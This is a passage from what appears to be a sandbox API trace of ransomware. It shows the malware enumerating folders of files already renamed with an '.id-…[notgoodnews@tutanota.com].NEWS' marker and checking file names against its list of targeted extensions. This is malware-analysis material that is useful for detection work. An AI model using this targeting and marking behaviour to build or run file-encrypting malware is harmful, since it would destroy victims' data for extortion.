ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.584] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.585] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.585] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0157.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.585] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.587] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.587] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39cf15ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39cf15ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d16ffd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.588] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d66f93, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d66f93, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d66f93, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.588] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39910f4c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39910f4c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39daf888, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.589] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39910f4c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39910f4c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39daf888, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.589] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.590] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.590] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0157.590] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.590] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484758 [0157.592] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.592] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399ac4e4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399ac4e4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399cfb3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.592] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399cfb3e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399cfb3e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399cfb3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.592] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.592] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.592] FindClose (in: hFindFile=0x484758 | out: hFindFile=0x484758) returned 1 [0157.593] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.593] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0157.594] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.594] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4843d8 [0157.596] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.596] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399f8ee4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399f8ee4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ade448, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.597] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a8ea01, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a8ea01, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a8ea01, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.597] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a42956, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.597] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a42956, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.597] FindClose (in: hFindFile=0x4843d8 | out: hFindFile=0x4843d8) returned 1 [0157.598] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.598] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0157.598] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.598] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484758 [0157.660] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.660] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ab4c82, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ab4c82, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ab4c82, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0157.664] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b00fdb, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b00fdb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b00fdb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0157.667] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b00fdb, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b00fdb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b00fdb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 0 [0157.667] FindClose (in: hFindFile=0x484758 | out: hFindFile=0x484758) returned 1 [0157.670] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.671] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b271f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b271f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b271f3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DHTMLH~1.NEW")) returned 1 [0157.674] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e48251, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DISPLA~1.NEW")) returned 1 [0157.675] lstrlenW (lpString="DisplayIcon.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 59 [0157.675] lstrlenW (lpString=".1cd") returned 4 [0157.675] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0157.677] lstrlenW (lpString=".3ds") returned 4 [0157.677] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0157.677] lstrlenW (lpString=".3fr") returned 4 [0157.677] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0157.680] lstrlenW (lpString=".3g2") returned 4 [0157.680] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0157.680] lstrlenW (lpString=".3gp") returned 4 [0157.680] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0157.680] lstrlenW (lpString=".7z") returned 3 [0157.680] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0157.680] lstrlenW (lpString=".accda") returned 6 [0157.680] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0157.681] lstrlenW (lpString=".accdb") returned 6 [0157.681] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0157.681] lstrlenW (lpString=".accdc") returned 6 [0157.681] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0157.681] lstrlenW (lpString=".accde") returned 6 [0157.683] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0157.683] lstrlenW (lpString=".accdt") returned 6 [0157.683] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0157.683] lstrlenW (lpString=".accdw") returned 6 [0157.683] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0157.683] lstrlenW (lpString=".adb") returned 4 [0157.683] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0157.683] lstrlenW (lpString=".adp") returned 4 [0157.683] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0157.683] lstrlenW (lpString=".ai") returned 3 [0157.683] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0157.683] lstrlenW (lpString=".ai3") returned 4 [0157.683] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0157.683] lstrlenW (lpString=".ai4") returned 4 [0157.684] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0157.684] lstrlenW (lpString=".ai5") returned 4 [0157.684] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0157.684] lstrlenW (lpString=".ai6") returned 4 [0157.684] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0157.684] lstrlenW (lpString=".ai7") returned 4 [0157.684] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0157.684] lstrlenW (lpString=".ai8") returned 4 [0157.684] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0157.684] lstrlenW (lpString=".anim") returned 5 [0157.684] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0157.684] lstrlenW (lpString=".arw") returned 4 [0157.684] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0157.684] lstrlenW (lpString=".as") returned 3 [0157.684] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0157.684] lstrlenW (lpString=".asa") returned 4 [0157.684] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0157.684] lstrlenW (lpString=".asc") returned 4 [0157.684] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0157.684] lstrlenW (lpString=".ascx") returned 5 [0157.684] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0157.684] lstrlenW (lpString=".asm") returned 4 [0157.684] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0157.684] lstrlenW (lpString=".asmx") returned 5 [0157.684] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0157.684] lstrlenW (lpString=".asp") returned 4 [0157.684] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0157.685] lstrlenW (lpString=".aspx") returned 5 [0157.685] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0157.685] lstrlenW (lpString=".asr") returned 4 [0157.685] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0157.685] lstrlenW (lpString=".asx") returned 4 [0157.685] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0157.685] lstrlenW (lpString=".avi") returned 4 [0157.685] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0157.685] lstrlenW (lpString=".avs") returned 4 [0157.685] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0157.685] lstrlenW (lpString=".backup") returned 7 [0157.685] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0157.685] lstrlenW (lpString=".bak") returned 4 [0157.685] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0157.685] lstrlenW (lpString=".bay") returned 4 [0157.685] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0157.685] lstrlenW (lpString=".bd") returned 3 [0157.685] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0157.685] lstrlenW (lpString=".bin") returned 4 [0157.685] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0157.685] lstrlenW (lpString=".bmp") returned 4 [0157.685] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0157.685] lstrlenW (lpString=".bz2") returned 4 [0157.685] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0157.685] lstrlenW (lpString=".c") returned 2 [0157.685] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0157.685] lstrlenW (lpString=".cdr") returned 4 [0157.685] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0157.686] lstrlenW (lpString=".cer") returned 4 [0157.686] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0157.686] lstrlenW (lpString=".cf") returned 3 [0157.686] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0157.686] lstrlenW (lpString=".cfc") returned 4 [0157.686] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0157.686] lstrlenW (lpString=".cfm") returned 4 [0157.686] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0157.686] lstrlenW (lpString=".cfml") returned 5 [0157.686] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0157.686] lstrlenW (lpString=".cfu") returned 4 [0157.686] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0157.686] lstrlenW (lpString=".chm") returned 4 [0157.686] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0157.686] lstrlenW (lpString=".cin") returned 4 [0157.686] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0157.686] lstrlenW (lpString=".class") returned 6 [0157.686] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0157.686] lstrlenW (lpString=".clx") returned 4 [0157.686] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0157.686] lstrlenW (lpString=".config") returned 7 [0157.686] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0157.686] lstrlenW (lpString=".cpp") returned 4 [0157.686] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0157.686] lstrlenW (lpString=".cr2") returned 4 [0157.686] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0157.686] lstrlenW (lpString=".crt") returned 4 [0157.686] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".crw") returned 4 [0157.687] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".cs") returned 3 [0157.687] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0157.687] lstrlenW (lpString=".css") returned 4 [0157.687] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".csv") returned 4 [0157.687] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".cub") returned 4 [0157.687] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".dae") returned 4 [0157.687] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".dat") returned 4 [0157.687] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0157.687] 